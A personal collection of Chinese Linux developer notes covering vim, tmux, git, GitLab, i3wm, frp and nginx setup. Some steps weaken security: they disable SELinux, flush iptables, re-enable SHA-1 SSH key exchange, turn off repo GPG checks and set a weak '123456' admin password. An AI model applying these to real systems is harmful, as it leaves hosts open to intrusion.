set encoding=utf-8
set termencoding=utf-8
set fileencoding=chinese
set fileencodings=ucs-bom,utf-8,chinese
set langmenu=zh_CN.utf-8
"language messages zh_cn.utf-8

"Show line number.
let g:NERDTreeShowlineNumber=1

"Show hide file.
let g:NERDTreeHidden=1

"Show Node model.
let NERDTreeDirArrows=0

"Delete help information at the top
let NERDTreeMinimalUI=1

let g:NERDTreeDirArrowExpandable = '|'
let g:NERDTreeDirArrowCollapsible = '/'

"""""""""""""""""""""""""""""""
"end NerdTree setting
"""""""""""""""""""""""""""""""

"""""""""""""""""""""""""""""""
"nerdtree-git-plugin setting
"""""""""""""""""""""""""""""""
let g:NERDTreeGitStatusIndicatorMapCustom = {
    \ "Modified"  : "✹",
    \ "Staged"    : "✚",
    \ "Untracked" : "✭",
    \ "Renamed"   : "➜",
    \ "Unmerged"  : "═",
    \ "Deleted"   : "✖",
    \ "Dirty"     : "✗",
    \ "Clean"     : "✔︎",
    \ "Unknown"   : "?"
    \ }
"""""""""""""""""""""""""""""""
"end nerdtree-git-plugin setting
"""""""""""""""""""""""""""""""

""""""""""""""""""""""""""""""
"vim-nerdtree-syntax-highlight settings
""""""""""""""""""""""""""""""
"Highlight full name (not only icons). You need to add this if you don't have vim-devicons and want highlight.
let g:NERDTreeFileExtensionHighlightFullName = 1
let g:NERDTreeExactMatchHighlightFullName = 1
let g:NERDTreePatternMatchHighlightFullName = 1

"Highlight full name (not only icons). You need to add this if you don't have vim-devicons and want highlight.
let g:NERDTreeHighlightFolders = 1

"highlights the folder name
let g:NERDTreeHighlightFoldersFullName = 1

"you can add these colors to your .vimrc to help customizing
let s:brown = "905532"
let s:aqua =  "3AFFDB"
let s:blue = "689FB6"
let s:darkBlue = "44788E"
let s:purple = "834F79"
let s:lightPurple = "834F79"
let s:red = "AE403F"
let s:beige = "F5C06F"
let s:yellow = "F09F17"
let s:orange = "D4843E"
let s:darkOrange = "F16529"
let s:pink = "CB6F6F"
let s:salmon = "EE6E73"
let s:green = "8FAA54"
let s:Turquoise = "40E0D0"
let s:lightGreen = "31B53E"
let s:white = "FFFFFF"
let s:rspec_red = "FE405F"
let s:git_orange = "F54D27"
let s:gray = "808A87"

let g:NERDTreeExtensionHighlightColor = {} " this line is needed to avoid error
let g:NERDTreeExtensionHighlightColor['o'] = s:gray " sets the color of o files to blue
let g:NERDTreeExtensionHighlightColor['h'] = s:blue " sets the color of h files to blue
let g:NERDTreeExtensionHighlightColor['c'] = s:green " sets the color of c files to blue
let g:NERDTreeExtensionHighlightColor['cpp'] = s:green " sets the color of cpp files to blue
let g:NERDTreeExtensionHighlightColor['c++'] = s:green " sets the color of c++ files to blue
""""""""""""""""""""""""""""""
"end vim-nerdtree-syntax-highlight settings
""""""""""""""""""""""""""""""

""""""""""""""""""""""""""""""
"vim-devicons settings
""""""""""""""""""""""""""""""`
set encoding=UTF-8

"Can be enabled or disabled
let g:webdevicons_enable_nerdtree = 1

"whether or not to show the nerdtree brackets around flags
let g:webdevicons_conceal_nerdtree_brackets = 1

"adding to vim-airline's tabline
let g:webdevicons_enable_airline_tabline = 1

"adding to vim-airline's statusline
let g:webdevicons_enable_airline_statusline = 1

""""""""""""""""""""""""""""""
"end vim-devicons settings
""""""""""""""""""""""""""""""`

set incsearch

tmux.conf

set -g default-terminal "screen-256color"
set-option allow-rename off
#-- base settings --#
set -g mode-keys vi
# prefix key (Ctrl+a)
set -g prefix ^a
unbind ^b
bind ^a send-prefix

#up
bind-key k select-pane -U
#down
bind-key j select-pane -D
#left
bind-key h select-pane -L
#right
bind-key l select-pane -R

.gitconfig

[user]
    name = cfanzp
    email = cfan.zp@qq.com
[color]
    interactive = auto
    diff = auto
    status = auto
    branch = auto
    ui = true
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = false

[alias]
    co = checkout
    ci = commit
    st = status
    sh = stash
    sa = stash apply
    sp = stash pop
    ap = add -p
    br = branch
    cp = checkout -p
    cv = commit -v
    dc = diff --cached
    d = diff
    pr = pull --rebase
    ps = push
    l = log --graph --pretty=format:'%C(yellow)%h%Creset %C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --date=short --all
    lg = log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --all
[hub]
    protocol = https
[diff]
    tool = vimdiff
[core]
    editor = vim

linux如何配置命令行全局代理?

为什么要配置命令行全局代理?

  • 我们在go语言开发的时候,安装vim插件的时候,有些资源不使用代理无法下载。这个时候配置一个全局代理,问题就轻松解决了。

配置

  • 在家目录中的.profile或.bash_profile文件中加入如下别名配置
  • 这里配置的是socks5代理
  • http代理配置只需要把配置socks改成http即可
alias proxy='export all_proxy=socks5://127.0.0.1:1080;export http_proxy=socks5://127.0.0.1:1080;export https_proxy=socks5://127.0.0.1:1080;export no_proxy=socks5://127.0.0.1:1080; export ALL_PROXY=socks5://127.0.0.1:1080;export HTTP_PROXY=socks5://127.0.0.1:1080;export HTTPS_PROXY=socks5://127.0.0.1:1080;export NO_PROXY=socks5://127.0.0.1:1080'
alias unproxy='unset all_proxy; unset http_proxy; unset https_proxy;unset no_proxy; unset ALL_PROXY; unset HTTP_PROXY; unset HTTPS_PROXY;unset NO_PROXY'

使用方法

  • 开启代理
proxy
  • 关闭代理
unproxy

测试

curl github.com
  1. linux tools

实用工具

fanyi 翻译工具

  1. 安装: npm install fanyi -g
  2. 注意linux版本需要festval来支持发音,可以屏蔽:lib/fanyi/...../index.js中发音相关代码来使功能正常

translate-shell 翻译工具

  1. 安装:
  • sudo pacman -S translate-shell
  • 下载安装: wget git.io/trans chmod +x ./trans sudo mv trans /usr/bin/
  • github 安装: git clone https://github.com/soimort/translate-shell && cd translate-shell make make install
  1. 使用
    • 英译中: trans :zh good
    • 中译英: trans :en good
    • trans [原语种]:[目标语种] [要查的词|字|句]
  2. 查看语言代码:
    • trans -R
    • trans -T
    • 帮助: https://blog.csdn.net/linuxprobe2017/article/details/78795009

jq 命令行json格式化工具

  1. 用法:
  • cat 1.json | jq
  • cat 1.json | jq -C 带颜色
  • cat 1.json | jq -M 不带颜色
  • jq . 1.json 显示所有
  • jq '.[0]' TableCard.json 显示匹配的0号
  • jq '.[0] | length' TableCreateConfigList.json 获取元素个数
  1. 帮助:https://blog.csdn.net/weixin_33842328/article/details/85064554

graphviz 命令行绘制流程图

  1. 帮助:
  • 官网:http://www.graphviz.org/download/source/
  • 相关介绍:https://www.zhihu.com/question/28596616

axel

  1. 使用
  • axel -n 20 http://www.baidu.com/download/a.zip
  • download:https://github.com/axel-download-accelerator/axel.git

compare 比较图片

how2

tldr 手册页简化工具

fpp(pathpicker)

  1. cd /usr/local
  2. git clone https://github.com/facebook/PathPicker.git

rg(ripgrep)

  1. github:https://github.com/BurntSushi/ripgrep
  2. install sudo pacman -S ripgrep
  3. centos install: sudo yum-config-manager --add-repo=https://copr.fedorainfracloud.org/coprs/carlwgeorge/ripgrep/repo/epel-7/carlwgeorge-ripgrep-epel-7.repo sudo yum install ripgrep

you-get

lsix

  1. 安装:
  • sudo pacman -S imagemagick
  • 下载:https://imagemagick.org/script/download.php
  • https://github.com/ImageMagick/ImageMagick.git
  1. 使用帮助:https://ywnz.com/linuxml/3940.html

mobaxterm

  1. 安装: https://mobaxterm.mobatek.net/download-home-edition.html
  • axel -n 20 https://download.mobatek.net/2032020060430358/MobaXterm_Portable_v20.3.zip

vim 插件coc

  1. 安装
  • Plug 'neoclide/coc.nvim', {'branch': 'release'}
  1. 帮助
  • https://www.jianshu.com/p/55cf1fa7a467
  • github:https://github.com/neoclide/coc.nvim/wiki/Language-servers

mycli

  1. centos 安装
  • 升级python2到python3
    1. wget https://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz
    2. ./configure --prefix=/usr/local/python3
    3. make
    4. make install
    5. mv /usr/bin/python /usr/bin/python_bak
    6. ln -s /usr/local/python3/bin/python3 /usr/bin/python
    7. pip3.6 install mycli 8 .ln -s /usr/local/bin/mycli /usr/bin/mycli

cmus 音乐播放器

  • https://github.com/cmus/cmus

制作个人的博客笔记系统

  1. markdown + pandoc + makefile + git(github)参考:http://www.mikewootc.com/wiki/tool/sitebuild/mikewiki.html

磁盘相关

  • duf 查看磁盘使用情况
  • du 查看各个文件占用磁盘情况
  • df 查看磁盘暂用情况

网络安全工具

  • PortBender
https://github.com/praetorian-inc/PortBender

mdbook

修改主题

[book]
authors = ["cfanzp"]
language = "en"
multilingual = false
src = "src"
title = "linux开发笔记"

[output.html]
theme = "./my-theme"
no-section-label = false

[output.html.fold]
enable = true
level = 0

常用命令

sed批量替换

  • 批量替换单个文件中的内容
set -i 's/land_logic/runner_logic/g' ./ctp_single.lua
  • 批量替换多个文件中的内容
ag land_logic -l |xargs sed -i 's/land_logic/runner_logic/g'
set -i 's/land_logic/runner_logic/g' `ag land_logic rl ./*.lua`

tar

  • 打包redis目录
tar -czvf redis.tar.gz redis

7z

  • 解压 icon.7z
7z x icon.7z
  • manjaro 拓展
    1. url:https://jingyan.baidu.com/article/6766299702211f14d51b8491.html

ssh

  • 公私密钥登录
ssh root@123.207.126.144 -p22 -i id_rsa

ssh无法连接

  • ssh登陆报错“WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!”问题原因及解决方法
删除对应ip的在known_hosts相关信息
vim /.ssh/known_hosts
  • ssh 升级 openssh 8.8sp1
https://blog.csdn.net/qq_29974229/article/details/120888947
  • 升级openssh反馈gitlab相关配置失效 git clone 需要输入密码
https://blog.csdn.net/qq_43297703/article/details/106123791?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore

#vim /etc/ssh/sshd_config
KexAlgorithms diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org

重启sshd:
#service sshd restart
确认ssh公钥已经上传到gitlab密钥之后,查看一下git用户是否被锁定
执行命令:sudo passwd -u git
强制执行命令:sudo passwd -u -f git

git

git 缩写配置

  • 在home目录创建.gitconfig文件复制粘贴以下配置并保存退出
[user]
  name = xx
  email = xx@qq.com
[color]
  interactive = auto
  diff = auto
  status = auto
  branch = auto
  ui = true
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
  ignorecase = true
  precomposeunicode = false

[alias]
  co = checkout
  ci = commit
  st = status
  sh = stash
  sa = stash apply
  sp = stash pop
  ap = add -p
  br = branch
  cp = checkout -p
  cv = commit -v
  dc = diff --cached
  d = diff
  pr = pull --rebase
  ps = push
  l = log --graph --pretty=format:'%C(yellow)%h%Creset %C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --date=short --all
  lg = log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --all
[hub]
  protocol = https
[diff]
  tool = vimdiff
[core]
  editor = vim

常用缩写

git co
git br
git ci
git lg

工作流

  1. 开发新功能a
sequenceDiagram
   participant proj1
   participant a
   proj1->>a:基于proj1分支创建一个a分支(step1)
   a->>proj1:a分支开发完后合并入proj1分支,并删除a分支(step2)
step1:
git br a proj1
git push origin a

step2:
git co proj1
git pull
git co a
git merge proj1
git push

git co proj1
git merge a
git push
git br -D a

常用命令

  • 删除远程分支a:
    • 切换到本地其它分支,如master
git co master
  • 删除远程分支
git push origin --delete a
  • 修改远程分支地址
git remote -v
git remote rm origin
git remote add origin git@gitee.com:cfanzp/linux_note.git

git tag

命令作用
git tag查看标签列表
git tag -l "v1.0*"模糊匹配查询
git tag --list "v0.0*"模糊匹配查询
git tag -a v1.0 -m "my version 1.0"添加附注标签
git show v1.0查看标签相关信息
git tag -lw创建轻量标签,git show 不会看到额外标签信息
git tag -a v0.9 9fceb02后期打标签
git push origin --tags将标签推送到远端
git tag -d v1.0删除标签
git push origin --delete 删除远端标签

git diff

命令作用
git diff查看差异
git diff cached查看工作版本和暂存的差异
git diff HEAD查看工作版本和HEAD的差异
git diff HEAD^ HEAD查看上上个版本和HEAD的差异
git diff --stat查看差异的文件列表
git diff --stat ./client查看client目录 差异的文件列表
git diff > patch使用git diff 打补丁
git apply --check patch使用补丁,没有任何输出表示可以顺利接受这个补丁
git apply --reject patch使用补丁,冲突会生成.rej文件

git 回退到某个版本

  1. git reset commit-id
  2. git push origin branch-name --force

远程分支更新

  1. git remote update origin --prune

删除所有历史commit,创建一个新仓库

  1. Checkout
   git checkout --orphan latest_branch
  1. Add all the files
   git add -A
  1. Commit the changes
   git commit -am "commit message"
  1. Delete the branch
   git branch -D master
  1. Rename the current branch to master
   git branch -m master
  1. Finally, force update your repository
   git push -f origin master

gitlab

gitlab 安装

配置要求

CPU:2核+
内存:2G+

gitlab服务器组成

1. nginx
2. gitlab-shell
3. gitlab-workhorse
4. logrotate:日志文件管理工具
5. postgresql:数据库
6. redis:缓存数据库
7. sidekiq:用于在后台执行队列任务
8. unicorn:An HTTP server for Rack applications

yum 安装

  • 新建 /etc/yum.repos.d/gitlab_gitlab-ce.repo
[gitlab-ce]
name=Gitlab CE Repository
baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/
gpgcheck=0
enabled=1
  • 安装依赖
sudo yum install curl openssh-server openssh-clients postfix cronie
sudo service postfix start
sudo chkconfig postfix on
#这句是用来做防火墙的,避免用户通过ssh方式和http来访问。
sudo lokkit -s http -s ssh
  • 再执行
sudo yum makecache
sudo yum install gitlab-ce
sudo gitlab-ctl reconfigure  #Configure and start GitLab
  • 修改密码
gitlab-rails console -e production
user = User.where(id:1).first
user.password='123456'
user.save!

安装参考链接

  • https://www.jianshu.com/p/b04356e014fa

安装包安装

  • 下载
wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-10.0.0-ce.0.el7.x86_64.rpm
wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-14.3.2-ce.0.el7.x86_64.rpm
  • 安装
rpm -i gitlab-ce-10.0.0-ce.0.el7.x86_64.rpm
  • 修改配置:指定服务器ip以及自定义端口
vim  /etc/gitlab/gitlab.rb
修改external_url
  • 重置并启动GitLab
gitlab-ctl reconfigure
gitlab-ctl restart
  • 访问GitLab Web
如果没有域名,直接输入服务器ip和指定端口进行访问
初始账户: root 密码:5iveL!fe

参考链接

  • https://www.cnblogs.com/zhangycun/p/10963094.html

常见问题

访问出现502错误

  • 8080端口被暂用原因
Whoops, GitLab is taking too much time to respond.
关闭8080端口对应app或修改端口
参考url:https://blog.csdn.net/mqdxiaoxiao/article/details/104422826

gitlab目录结构

/opt/gitlab/                             # 主目录
/etc/gitlab/                             # 放置配置文件
/var/opt/gitlab/                         # 各个组件
/var/log/gitlab/                         # 放置日志文件
/var/opt/gitlab/git-data/repositories    # 数据库的地址  
/var/opt/gitlab/postgresql/data          # gitlab组和项目的地址
/etc/gitlab/gitlab.rb                      # gitlab配置文件

启动日志

[root@dev129 zp]# gitlab-ctl restart
ok: run: alertmanager: (pid 70668) 1s
ok: run: gitaly: (pid 70679) 0s
ok: run: gitlab-exporter: (pid 70696) 1s
ok: run: gitlab-workhorse: (pid 70700) 0s
ok: run: grafana: (pid 70710) 0s
ok: run: logrotate: (pid 70724) 0s
ok: run: nginx: (pid 70732) 0s
ok: run: node-exporter: (pid 70739) 0s
ok: run: postgres-exporter: (pid 70745) 0s
ok: run: postgresql: (pid 70755) 0s
ok: run: prometheus: (pid 70765) 1s
ok: run: puma: (pid 70920) 0s
ok: run: redis: (pid 70926) 1s
ok: run: redis-exporter: (pid 70936) 0s
ok: run: sidekiq: (pid 70951) 0s
[root@dev129 zp]#
  • 参考url:https://www.cnblogs.com/kevingrace/p/5985918.html

重置指定用户密码

https://baijiahao.baidu.com/s?id=1710986123716406076&wfr=spider&for=pc

迁移项目到gitlab

git clone --mirror <URL to my OLD repo location>
cd <New directory where your OLD repo was cloned>
git remote set-url origin <URL to my NEW repo location>
git push -f origin

git 修改远程地址

git remote rm origin
git remteo add origin git@192.168.2.129:myb/myb.git

mermaid

介绍

  • 官网:https://mermaidjs.github.io/
  • Github 项目地址:https://github.com/knsv/mermaid

使用

  • Mermaid 支持多种图表的方向,语法如下:
graph 方向描述
    图表中的其他语句...
  • 符号
用词含义
TB从上到下
BT从下到上
LR从左到右
RL从右到左
  • 结点含义
表述含义
id[文字]矩形节点
id(文字)圆角矩形节点
id((文字))圆形节点
id>文字]右向旗帜状节点
id{文字}菱形节点
  • 节点间的连线
表述说明
   | 添加尾部箭头
  •    | 不添加尾部箭头
    

-- | 单线 --text-- | 单线上加文字 == | 粗线 ==text== | 粗线加文字 -.- | 虚线 -.text.- | 虚线加文字

  • eg
web修改数据库表配置--->通知share进程--->通知cn进程--->通知lobby进程--->luckydraw_agent服务reload相关表--->通知agent--->通知客户端
graph TB
    id1(web管理后台)--修改抽奖配置表-->id2[share进程收到通知]
sequenceDiagram
   participant Alice
   participant Bob
   Alice->Bob:Hello Bob, how are you?
graph TB start-->stop
graph LR;
    start-->stop;
    start-->A;
    start-->B;

帮助

smb

重启

service smb restart

设置SELinux 成为permissive模式

setenforce 0

登录权限用的是samba用胡的权限

samba用户必须为linux用户

重启后无法访问smb

  • 可能是防火墙原因,关闭防火墙
iptables -F
  • 设置SELinux 成为permissive模式
setenforce 0

help:

i3wm key

  • 多屏显示
xrandr --output HDMI2  --auto --right-of HDMI-3
  • mod
ctrl: $mod
  • config
alt:Mod1
ctrl:Mod4
  • 打开一个虚拟终端
mod+enter
  • 拆分
mod+enter
mod+v ++ mod+enter;水平分割
mod+n ++ mod+enter;竖指分割
  • 聚焦到父窗口
mod+a
  • 进入工作区
mod+1,2,3...
  • 移动窗口到其他工作区
mod+shift+1,2,3
  • 全屏模式:
mod+f
  • 三种模式:
splith/splitv: mod + e   mod+hjkl
stacking:      mod + s   mod+jk
tabbed:        mod + w   mod+hl
  • 杀掉应用
mod+shift+q
  • 重启i3
mod+shift+r
  • 退出i3
mod+shift+e
  • 浮动i3
mod+shift+space
  • 打开应用
mod+d
  • 小技巧:i3光标在virtualbox中,如何切换工作区?
  1. 方法是按右边Ctrl键盘,xfreerdp被聚焦时同样适用。
  • 截图工具flameshot
  1. 安装 sudo apt-get install flameshot
  2. 设置快捷键 bindsym Print --release exec /usr/bin/flameshot gui
  3. 浮动for_window [class="flameshot"] floating enable
  4. 保存剪贴板快捷键Ctrl-c
  5. 使用按PrintScreen键

i3lock

介绍

  1. 可用于锁屏
  2. 默认白色
  3. 下载i3lock-color可以进行锁品美化,显示时间

i3lock-color

  1. 安装: sudo pacman -S i3lock-color
  2. 脚本:
  • https://github.com/Raymo111/i3lock-color
  • ./lock.sh
  • ./lock_bar.sh
  1. github:
  • https://github.com/Raymo111/i3lock-color
  1. i3/config 配置:
  • bindsym $mod+Mod1+l exec ~/.config/i3/lock.sh

配置i3status

相关配置

  1. 配置文件路经: cp /etc/i3status.conf ~/.i3status.conf
  2. 配置颜色
  3. 设置cpu使用率
  4. 关闭IPv6显示
  5. 字段tztime local,format = “%Y-%m-%d %H:%M:%S %A” 最后添加一个%A 就可以显示星期几了。

参考帮助

  1. github:https://github.com/i3/i3status
  2. https://www.icode9.com/content-4-512576.html
  3. Arch linux i3bar之i3status配置 https://www.waimaosns.cc/arch-linux-i3bar-i3status-config/
  4. linux man page:https://linux.die.net/man/1/i3status

demo

  1. https://gitee.com/siyingcheng/my_manjaro_i3wm_config/blob/master/config/i3status/config
  2. ./.i3status.conf

install

  • sudo pacman -S screenkey

player

  • 推荐使用vlc,cvlc

声音管理器

  • pavucontrol
  • install: sudo pacman -S pavucontrol

polybar

install

yaourt -S polybar
install -Dm644 /usr/share/doc/polybar/config $HOME/.config/polybar/config

配置

  • 弄一份 example 的配置文件过来 编辑启动文件 vim ~/.config/polybar/launch.sh 如下:
#!/usr/bin/env bash

# Terminate already running bar instances
killall -q polybar

# Wait until the processes have been shut down
while pgrep -u $UID -x polybar >/dev/null; do sleep 1; done

# Launch bar1 and bar2
# polybar bar1 &
# polybar bar2 &
polybar example &

echo "Bars launched..."

#!/usr/bin/env bash

Terminate already running bar instances

killall -q polybar

Wait until the processes have been shut down

while pgrep -u $UID -x polybar >/dev/null; do sleep 1; done

Launch bar1 and bar2

polybar bar1 &

polybar bar2 &

polybar example &

echo "Bars launched..." vim ~/.i3/config 搜索 start_conky,注释掉 添加 exec_always --no-startup-id ~/.config/polybar/launch.sh 替换原来系统的 conky 注释掉 i3bar_command i3bar,添加 i3bar_command $HOME/.config/polybar/launch.sh。 $mod + shift + r 重新加载 i3

other tools

yaourt -S ttf-unifont or yay -S ttf-unifont yaourt -S siji-git

polybar 不留边

我们可以修改config文件进行属性的设定。example的状态栏会有留边,我们可以修改border-size属性来取消。

border-size = 0 border-color = #00000000

polybar无法透明化

  • 如果你使用compton进行透明化,polybar可能会出现无法透明的情况。

    1. 可能与你的compton配置有关。
    2. 可能是你的polybar问题。
  • 将[color]下的background修改为 background = #cc222222 ,从而实现透明化。

rofi

  • 安装
yaourt -S rofi
  • 编辑 vim .i3/config,注释掉有 $mod+d 的那一行,添加:
bindsym $mod+d exec rofi -show run
  • 重新加载配置
$mod+shift+r
  • $mod+d 运行

  • 切换到 cd ~/.config/rofi/

  • 生成配置文件

rofi -dump-Xresources > config
  • 选择你想要的主题即可
rofi-theme-selector

dotfiles配置

使用makefile管理dotfiles

demo

  1. https://github.com/voldikss/dotfiles/blob/master/Makefile

ftp工具

ftp

  1. 安装ftp: yum install ftp
  2. 进入ftp: ftp 192.168.2.118
  3. 获取文件a.txt: get a.txt
  4. 上传文件a.txt: put a.txt

lftp

  1. yum install lftp

tmux

install

yum install -y tmux

退出tmux

C-b d 退出tumx,并保存当前会话
或
tmux detach

重命名窗口

C-b + :
rename-window myb_dev
或
C-b + ,

关闭当前pannel

C-b + :
kill-pane

重命名会话(Session)

C-b + :
rename-session myb_dev
或
C-b + $

防止退出时重命名窗口被重置

修改.tmux.conf
set-option allow-rename off

跳转pannel大小

Ctrl+b Ctrl+<arrow key>:按箭头方向调整窗格大小。

使用

  • 打开:tmux

  • 操作前缀:Ctrl + b

  • 分割:%;b

  • 关闭分割:x

  • C-b ? 显示快捷键帮助

  • C-b C-o 调换窗口位置,类似与vim 里的C-w

  • C-b 空格键 采用下一个内置布局

  • C-b ! 把当前窗口变为新窗口

  • C-b " 模向分隔窗口

  • C-b % 纵向分隔窗口

  • C-b q 显示分隔窗口的编号

  • C-b o 跳到下一个分隔窗口

  • C-b 上下键 上一个及下一个分隔窗口

  • C-b ALT-方向键 调整分隔窗口大小

  • C-b c 创建新窗口

  • C-b 0~9 选择几号窗口

  • C-b c 创建新窗口

  • C-b n 选择下一个窗口

  • C-b l 切换到最后使用的窗口

  • C-b p 选择前一个窗口

  • C-b w 以菜单方式显示及选择窗口

  • C-b t 显示时钟

  • C-b ; 切换到最后一个使用的面板

  • C-b x 关闭面板

  • C-b & 关闭窗口

  • C-b s 以菜单方式显示和选择会话

  • C-b d 退出tumx,并保存当前会话,这时,tmux仍在后台运行,可以通过tmux attach进入 到指定的会话

其它命令

# 列出所有快捷键,及其对应的 Tmux 命令
$ tmux list-keys

# 列出所有 Tmux 命令及其参数
$ tmux list-commands

# 列出当前所有 Tmux 会话的信息
$ tmux info

# 重新加载当前的 Tmux 配置
$ tmux source-file ~/.tmux.conf

帮助

frp

内网穿透工具

  1. github: https://github.com/fatedier/frp.git https://github.com/fatedier/frp/releases/

  2. help: https://sunnyrx.com/2016/10/21/simple-to-use-frp/

  3. install

wget https://github.com/fatedier/frp/releases/download/v0.24.1/frp_0.24.1_linux_amd64.tar.gz
tar -zxvf frp_0.24.1_linux_amd64.tar.gz
cd frp_0.24.1_linux_amd64
rm -f frps
rm -f frps.ini
vi frpc.ini
  1. config
  • 客户端配置服务器端端口和ssh端口
  1. start
  • server ./frps -c ./frps.ini

  • client ./frpc -c ./frpc.ini

  1. 后台运行
  • server
nohup ./frps -c ./frps.ini &

  • client
nohup ./frpc -c ./frpc.ini &
  1. 安全暴露内网服务
https://gofrp.org/docs/examples/stcp/
  1. 配置开机启动
#systemd配置文件路径:
 /usr/lib/systemd/system/
  • 添加frpc.service
  • 添加frps.service
  • 客户端日志目录:/var/log/frp/frpc.log
  • 服务器日志目录:/var/log/frp/frps.log
  • 日志文件若权限不够,修改frpc.service中的user为root或单独添加一个用户赋予权限
https://blog.csdn.net/qq_42952331/article/details/104810383
https://www.cnblogs.com/srczhang/p/12698685.html

flameshot

简介

flameshot 是一款跨平台的截图工具。

配置文件路经

linux:
~/.config/flameshot/flameshot.ini
windows:
C:\Users\{YOURNAME}\AppData\Roaming\flameshot\flameshot.ini

github地址:

https://github.com/flameshot-org/flameshot

下载

https://github.com/flameshot-org/flameshot/releases/tag/v0.10.2

常见平台安装

  • MacOS
brew install --cask flameshot
  • Manjaro
pacman -S flameshot
  • Ubuntu 18.04+
apt install flameshot
  • Debian 10+
apt install flameshot
  • windows 直接下载安装包,下载地址:
https://github.com/flameshot-org/flameshot/releases/tag/v0.10.2

常用快捷键

按PrintScreen键 激活
Ctrl + c 拷贝到剪贴版
Ctrl + s 保存到文件
Ctrl + z 撤销

常见问题

  • 运行时提示 linux下提示/usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.14' not found 解决办法
sudo pacman -Ss gcc
sudo pacman -S core/gcc

nginx笔记

nginx学习知识点

  • nginx正向代理
  • nginx反向代理
  • nginx透明代理
  • 4层转发与7层转发
  • nginx集成lua
  • nginx开发插件
  • nginx 日志配置

nginx相关资料

nginx配置笔记

基本概念

  • 惊群现象:一个网路连接到来,多个睡眠的进程被同时叫醒,但只有一个进程能获得链接,这样会影响系统性能。

全局块

  • nginx服务器用户组
  • nginx进程pid
  • 日志存放路径
  • 配置文件引入
  • 允许生成worker process数

event块

  • 配置影响nginx服务器或与用户的网络连接。包括:
  • 每个进程的最大连接数
  • 选取那种事件驱动模型处理连接请求
  • 是否允许同时接受多个网路连接
  • 开启多个网络连接序列化等。

http块

  • 可以嵌套多个server
  • 配置代理,缓存,日志定义等绝大多数功能和第三方模块的配置。
  • 文件引入
  • mime-type定义
  • 日志定义
  • 是否使用sendfile传输文件
  • 连接超时时间
  • 单连接请求数

server块

  • 配置虚拟主机的相关参数,一个http中可以有多个server块

location 块

  • 配置请求的路由,以及各种页面的请求情况

nginx文件结构

...              #全局块

events {         #events块
    ...
}

http      #http块
{
    ...   #http全局块
        server        #server块
        { 
            ...       #server全局块
                location [PATTERN]   #location块
                {
                    ...
                }
            location [PATTERN] 
            {
                ...
            }
        }
    server
    {
        ...
    }
    ...     #http全局块
}

一个nginx 配置文件的拆解分析

########### 每个指令必须有分号结束。#################
#user administrator administrators;  #配置用户或者组,默认为nobody nobody。
#worker_processes 2;  #允许生成的进程数,默认为1
#pid /nginx/pid/nginx.pid;   #指定nginx进程运行文件存放地址
error_log log/error.log debug;  #制定日志路径,级别。这个设置可以放入全局块,http块,server块,级别以此为:debug|info|notice|warn|error|crit|alert|emerg
events {
        accept_mutex on;   #设置网路连接序列化,防止惊群现象发生,默认为on
        multi_accept on;  #设置一个进程是否同时接受多个网络连接,默认为off
        #use epoll;      #事件驱动模型,select|poll|kqueue|epoll|resig|/dev/poll|eventport
        worker_connections  1024;    #最大连接数,默认为512
}
http {
        include       mime.types;   #文件扩展名与文件类型映射表
        default_type  application/octet-stream; #默认文件类型,默认为text/plain
        #access_log off; #取消服务日志
        log_format myFormat '$remote_addr–$remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for'; #自定义格式
        access_log log/access.log myFormat;  #combined为日志格式的默认值
        sendfile on;   #允许sendfile方式传输文件,默认为off,可以在http块,server块,location块。
        sendfile_max_chunk 100k;  #每个进程每次调用传输数量不能大于设定的值,默认为0,即不设上限。
        keepalive_timeout 65;  #连接超时时间,默认为75s,可以在http,server,location块。

        upstream mysvr {
            server 127.0.0.1:7878;
            server 192.168.10.121:3333 backup;  #热备
        }

        error_page 404 https://www.baidu.com; #错误页
        server {
                keepalive_requests 120; #单连接请求上限次数。
                listen       4545;   #监听端口
                server_name  127.0.0.1;   #监听地址
                location  ~*^.+$ {       #请求的url过滤,正则匹配,~为区分大小写,~*为不区分大小写。
                #root path;  #根目录
                #index vv.txt;  #设置默认页
                proxy_pass  http://mysvr;  #请求转向mysvr 定义的服务器列表
                deny 127.0.0.1;  #拒绝的ip
                allow 172.18.5.54; #允许的ip
        }
    }
}

参考

  • https://www.runoob.com/w3cnote/nginx-setup-intro.html
  • https://www.jianshu.com/p/96d3b1fba09b
  • https://www.jianshu.com/p/96d3b1fba09b

nginx日志

nginx如何配置日志

  • 在server块中添加日志的格式定义及应用
log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                  '$status $body_bytes_sent "$http_referer" '
                  '"$http_user_agent" "$http_x_forwarded_for"'
                  '$connection $upstream_addr '
                  'upstream_response_time $upstream_response_time '
                  'request_time $request_time ';
access_log  logs/access.log  main;
  • 每个字段的含义
$server_name:虚拟主机名称。
$remote_addr:远程客户端的IP地址,请求者IP。
-:空白,用一个“-”占位符替代,历史原因导致还存在。
